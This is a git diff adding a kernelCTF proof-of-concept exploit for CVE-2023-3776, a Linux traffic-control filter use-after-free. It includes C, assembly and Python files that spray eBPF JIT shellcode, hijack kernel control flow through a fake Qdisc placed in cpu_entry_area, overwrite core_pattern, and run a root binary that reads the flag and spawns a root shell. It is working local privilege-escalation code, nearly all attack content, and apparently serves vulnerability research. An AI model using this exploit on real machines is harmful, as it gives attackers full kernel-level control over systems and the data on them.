{(abs(off3))&0xff} +{ins[off3<0]} rax, rsi +; move 0x7000000 to rdi ( 1st arg ) +xor edi,edi +mov dil,0x70 +shl edi,20 +call rax +""" +def toi(data): + assert len(data) == 4 + return struct.unpack(' sc.h + +clean: + rm -rf exploit poc foo.o sc.h root + diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/POC b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/POC new file mode 100644 index 000000000..7ac6c6364 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/POC differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/exploit b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/exploit new file mode 100644 index 000000000..97351a733 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/foo.o b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/foo.o new file mode 100644 index 000000000..ba3ffecd8 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/foo.o differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/foo.s b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/foo.s new file mode 100644 index 000000000..f437a8e33 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/foo.s @@ -0,0 +1,25 @@ +section .text + global write_to_cpu_entry_area + global handle +write_to_cpu_entry_area: + mov rsp,rdi + pop r15 + pop r14 + pop r13 + pop r12 + pop rbp + pop rbx + pop r11 + pop r10 + pop r9 + pop r8 + pop rax + pop rcx + pop rdx + pop rsi + pop rdi + div qword [0x1234000] + + + + diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/ip0 b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/ip0 new file mode 100755 index 000000000..060aff4df Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/ip0 differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/ip1 b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/ip1 new file mode 100755 index 000000000..e59a56acc Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/ip1 differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/poc b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/poc new file mode 100755 index 000000000..671de8a40 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/poc differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/poc.c b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/poc.c new file mode 100644 index 000000000..a8ea1f001 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/poc.c @@ -0,0 +1,277 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#define SYSCHK(x) ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ +}) + +#define PAUSE \ + { \ + printf(":"); \ + int x; \ + read(0, &x, 1); \ + } +extern void write_to_cpu_entry_area(void *buf); +void handle(int s) {} +void set_cpu(int i) +{ + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(i, &mask); + sched_setaffinity(0, sizeof(mask), &mask); +} +int cfd[2]; +int sfd[0x200][2]; +char payload[0x1000]; +char buf[0x1000]; +struct sock_filter filter[0x1000]; +int stopfd[2]; + +int sc(void) +{ + set_cpu(1); + unsigned int prog_len = 0x900; + /* In current environment, the max instructions in a program is near 0x900 + And we test 0x900 instructions * 0x50 forks * 0x100 sockets * 4 = 180 MB is enough large to spray and worked reliably + */ + struct sock_filter table[] = { + {.code = BPF_LD + BPF_K, .k = 0xb3909090}, + {.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}}; + +/* 0xb3909090 is NOPsled shellclode to make exploitation more reliable +90 nop +90 nop +90 nop +b3 b8 mov bl, 0xb8 +*/ + + for (int i = 0; i < prog_len; i++) + filter[i] = table[0]; + + filter[prog_len - 1] = table[1]; + int idx = prog_len - 2; + +#include "sc.h" + + struct sock_fprog prog = { + .len = prog_len, + .filter = filter, + }; + int fd[2]; + for (int k = 0; k < 0x50; k++) + { + if (fork() == 0) // use fork to bypass RLIMIT_NOFILE limit. + { + close(stopfd[1]); + for (int i = 0; i < 0x100; i++) + { + SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, fd)); + SYSCHK(setsockopt(fd[0], SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog))); + } + write(stopfd[0], buf, 1); + read(stopfd[0], buf, 1); + exit(0); + } + } + /* wait for all forks to finish spraying BPF code */ + read(stopfd[1], buf, 0x50); +} +char POC[0x1000]; + +// the payload generated from `tc class delete dev lo classid 1:10` +// to generate payload from `tc` command, we can breakpoint at `netlink_sendmsg` +// after `tc` command is run, and we can dump the payload using this gdb command: +// dump binary memory /tmp/tc_del msg->msg_iter.iov[0].iov_base msg->msg_iter.iov[0].iov_base+msg->msg_iter.iov[0].iov_len +// refs: https://man7.org/linux/man-pages/man7/rtnetlink.7.html https://wiki.slank.dev/book/types.html +size_t DEL[] = { + 0x0005002900000024, 0x00000000649bcb96, + 0x0000000100000000, 0x0001000000010010, + 0x0000000000000000}; + +// First we generate POC from https://storage.googleapis.com/syzkaller/cover/ci-qemu-upstream.html to reach ctnetlink_alloc_filter +// And then we handcraft it contains CTA_MARK (0x08) and CTA_MARK_MASK(0x15) with our control data +// Make CTA_MARK's value become bswap(0x003df58) and CTA_MARK_MASK's value become bswap(0xfffffe00) +// So the final value stored in offset 0x60 will become 0xfffffe000003df5 +// 0xfffffe000003df5 is address at CPU#1 cpu_entry_area's entry_stack_page (stack address) while it try to push r15 in function error_entry + +size_t netlink_filter_payload[] = { + 0x0201010100000024, 0x0000000000000000, 0x0008000800000000, 0x0015000858df0300, 0x00feffff}; + +int check_core() +{ + // Check if /proc/sys/kernel/core_pattern has been overwritten + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0; +} +void crash(char *cmd) +{ + int memfd = memfd_create("", 0); + SYSCHK(sendfile(memfd, open("root", 0), 0, 0xffffffff)); + dup2(memfd, 666); + close(memfd); + while (check_core() == 0) + sleep(1); + /* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */ + *(size_t *)0 = 0; +} +void unshare_setup(uid_t uid, gid_t gid) +{ + int temp, ret; + char edit[0x100]; + ret = unshare(CLONE_NEWNET | CLONE_NEWUSER); + if (ret < 0) + { + perror("unshare"); + } + temp = open("/proc/self/setgroups", O_WRONLY); + write(temp, "deny", strlen("deny")); + close(temp); + temp = open("/proc/self/uid_map", O_WRONLY); + snprintf(edit, sizeof(edit), "0 %d 1", uid); + write(temp, edit, strlen(edit)); + close(temp); + temp = open("/proc/self/gid_map", O_WRONLY); + snprintf(edit, sizeof(edit), "0 %d 1", gid); + write(temp, edit, strlen(edit)); + close(temp); + return; +} + +int main(int argc, char **argv) +{ + if (fork() == 0) // this process is used to find our process by `pidof billy` + { + set_cpu(1); + strcpy(argv[0], "billy"); + while (1) + sleep(1); + } + if (fork() == 0) // this process is used to trigger core_pattern exploit + { + set_cpu(1); + setsid(); + crash(""); + } + setvbuf(stdout, 0, 2, 0); + unshare_setup(getuid(), getgid()); + socketpair(AF_UNIX, SOCK_STREAM, 0, cfd); + socketpair(AF_UNIX, SOCK_STREAM, 0, stopfd); + struct rlimit rlim = { + .rlim_cur = 0xf000, + .rlim_max = 0xf000}; + setrlimit(RLIMIT_NOFILE, &rlim); + + // iptables-legacy -t mangle -A POSTROUTING -d 127.0.0.1/24 -j MARK --set-mark 1 + { + set_cpu(1); + int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); + int fd = open("./ip0", O_RDONLY); + int n = read(fd, buf, 0x1000); + setsockopt(s, 0, 64, buf, n); + fd = open("./ip1", O_RDONLY); + n = read(fd, buf, 0x1000); + setsockopt(s, 0, 65, buf, n); + set_cpu(0); + } + + char *core = (void *)mmap((void *)0xa00000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0); + strcpy(core, "|/proc/%P/fd/666"); // put payload string into known address which will used by ebpf shellcode + + int sp = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); // later use this socket to spray struct ctnetlink_filter + int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); // later use this socket to trigger vuln + set_cpu(1); + sc(); // spray ebpf program. + set_cpu(0); + + /* + ip link set lo up + tc qdisc add dev lo root handle 1: drr + tc class add dev lo parent 1: classid 1:10 drr quantum 60 + tc filter add dev lo parent 1: pref 100 protocol ip handle 1 fw classid 1:10 + tc filter replace dev lo pref 100 protocol ip handle 1 fw classid 1:20 indev loo + */ + /* + generated using gdb command after breakpoint on netlink_sendmsg: + dump binary memory /tmp/POC msg->msg_iter.iov[0].iov_base msg->msg_iter.iov[0].iov_base+msg->msg_iter.iov[0].iov_len + */ + { + int poc_fd = open("./POC", O_RDONLY); + read(poc_fd, POC, 0x1000); + write(fd, POC, 0x1000); + } + + write(fd, DEL, 0x24); // tc class delete dev lo classid 1:10 + + // spray kmalloc-0x80 to reallocate. + write(sp, netlink_filter_payload, 0x24); + write(sp, netlink_filter_payload, 0x24); + write(sp, netlink_filter_payload, 0x24); + write(sp, netlink_filter_payload, 0x24); + + struct sockaddr_in addr = { + .sin_family = AF_INET, + .sin_port = htons(80), + .sin_addr.s_addr = inet_addr("127.0.0.1"), + }; + + size_t fake_qdisc_struct[0x10] = {}; + + /* Overwrite struct Qdisc's enqueue which is function ptr + struct Qdisc { + int (*enqueue)(struct sk_buff *, struct Qdisc *, struct sk_buff * *); + struct sk_buff * (*dequeue)(struct Qdisc *); + unsigned int flags; + */ + + fake_qdisc_struct[0] = 0xffffffffcc000000 - 0x800; + + /* + eBPF generated shellcode is lay in this range, we spray eBPF multiple times and summarize it's often near in this page. + It's more reliabe we choose address in the middle of the page + ffffffffa0000000 |-1536 MB | fffffffffeffffff | 1520 MB | module mapping space + */ + + int c = socket(AF_INET, SOCK_DGRAM, 0); + + if (fork() == 0) // Put payload in fixed kernel address (CVE-2023-0597) + { + set_cpu(1); + signal(SIGFPE, handle); + signal(SIGTRAP, handle); + signal(SIGSEGV, handle); + setsid(); + write_to_cpu_entry_area(fake_qdisc_struct); + } + sleep(1); + /* Trigger Qdisc filter our packet and control kernel RIP */ + SYSCHK(sendto(c, buf, 0x10, 0, (void *)&addr, sizeof(addr))); +} diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/poc.tar.gz b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/poc.tar.gz new file mode 100644 index 000000000..9e5cd2492 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/poc.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/root b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/root new file mode 100755 index 000000000..8e5893089 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/root differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/root.c b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/root.c new file mode 100644 index 000000000..c71dffe80 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/root.c @@ -0,0 +1,43 @@ +#define _GNU_SOURCE /* See feature_test_macros(7) */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#define SYS_pidfd_getfd 438 +char buf[0x100]; +char path[0x100]; +int res; +int fd; +int port; +char* ip; +void* job(void* x){ + FILE* fp = popen("pidof billy","r"); + fread(buf,1,0x100,fp); + fclose(fp); + int pid = strtoull(buf,0,10); + sprintf(path,"/proc/%d/ns/net",pid); + int pfd = syscall(SYS_pidfd_open,pid,0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd,0); + dup2(stdoutfd,1); + dup2(stderrfd,2); + /* Get flag and poweroff immediately to boost next round try in PR verification workflow*/ + system("cat /flag;echo o>/proc/sysrq-trigger"); + execlp("bash","bash",NULL); + +} +int main(int argc,char** argv){ + job(0); + + +} diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/run.sh b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/run.sh new file mode 100644 index 000000000..c3f781b15 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/run.sh @@ -0,0 +1,5 @@ +#!/bin/sh +dd if=$0 of=/tmp/exp.tar.gz skip=1 +cd /tmp +tar -xf exp.tar.gz +./poc diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/sc.h b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/sc.h new file mode 100644 index 000000000..1718b1d9a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/sc.h @@ -0,0 +1,51 @@ +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d0ff}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c14e7c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c70b740}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90ff31}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf02948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c60b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cd6b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c63b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c00b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c909058}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d0ff}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c909050}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9030b2}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d231}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c10e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ca0b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cd08948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf22948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cc0b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c7cb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cfeb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c01b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cd78948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf20148}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c80b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c2db640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c5ab640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c01b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cc20148}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ce2d348}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9020b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c931}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90320f}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9082b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c18e1c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c0b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d231}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c931}; diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/sc.py b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/sc.py new file mode 100644 index 000000000..dfa67204d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/mitigation-6.1/sc.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python3 + +from pwn import * +import struct + +""" +ffffffff82200000 T entry_SYSCALL_64 +ffffffff817bb0c0 T _copy_from_user +ffffffff8117da60 T msleep +ffffffff837a2d80 D core_pattern +""" + +entry_syscall = 0xffffffff82200000 +core_pattern = 0xffffffff837a2d80 +copy_from_user = 0xffffffff817bb0c0 +msleep = 0xffffffff8117da60 + +off1 = entry_syscall-core_pattern +off2 = core_pattern-copy_from_user +off3 = copy_from_user-msleep +ins = ["sub", "add"] + +context.arch = 'amd64' + +ASM=f""" +; do rdmsr(MSR_LSTAR) so EDX and EAX will contain address of entry_SYSCALL_64 +; ECX should be MSR_LSTAR ( 0xc0000082 ) +xor ecx, ecx +xor edx, edx +mov cl, 0xc0 +shl ecx, 24 +mov cl, 0x82 +rdmsr +; make rdx = entry_SYSCALL_64's address +xor ecx, ecx +mov cl, 32 +shl rdx, cl +add rdx, rax +; entry_SYSCALL_64 + 0x15a68e0 = core_pattern +; move core_pattern to rdi ( 1st arg ) +xor esi,esi +mov sil, {(abs(off1)>>24)&0xff} +shl esi, 8 +mov sil, {(abs(off1)>>16)&0xff} +shl esi, 8 +mov sil, {(abs(off1)>>8)&0xff} +shl esi, 8 +mov sil, {(abs(off1))&0xff} +{ins[off1<0]} rdx, rsi +mov rdi, rdx +; core_pattern - 0x1fe7cc0 = copy_from_user +; move copy_from_user to rax +xor esi,esi +mov sil, {(abs(off2)>>24)&0xff} +shl esi, 8 +mov sil, {(abs(off2)>>16)&0xff} +shl esi, 8 +mov sil, {(abs(off2)>>8)&0xff} +shl esi, 8 +mov sil, {(abs(off2))&0xff} +{ins[off2<0]} rdx, rsi +mov rax, rdx +; call copy_from_user(core_pattern, user_buf, 0x30); +; user_buf = 0xa00000 = "|/proc/%P/fd/666" +xor esi, esi +mov sil,0xa0 +shl esi,16 +xor edx,edx +mov dl,0x30 +push rax +call rax +pop rax +; copy_from_user - 0x63f6d0 = msleep +xor esi, esi +mov sil, {(abs(off3)>>24)&0xff} +shl esi, 8 +mov sil, {(abs(off3)>>16)&0xff} +shl esi, 8 +mov sil, {(abs(off3)>>8)&0xff} +shl esi, 8 +mov sil, {(abs(off3))&0xff} +{ins[off3<0]} rax, rsi +; move 0x7000000 to rdi ( 1st arg ) +xor edi,edi +mov dil,0x70 +shl edi,20 +call rax +""" +def toi(data): + assert len(data) == 4 + return struct.unpack('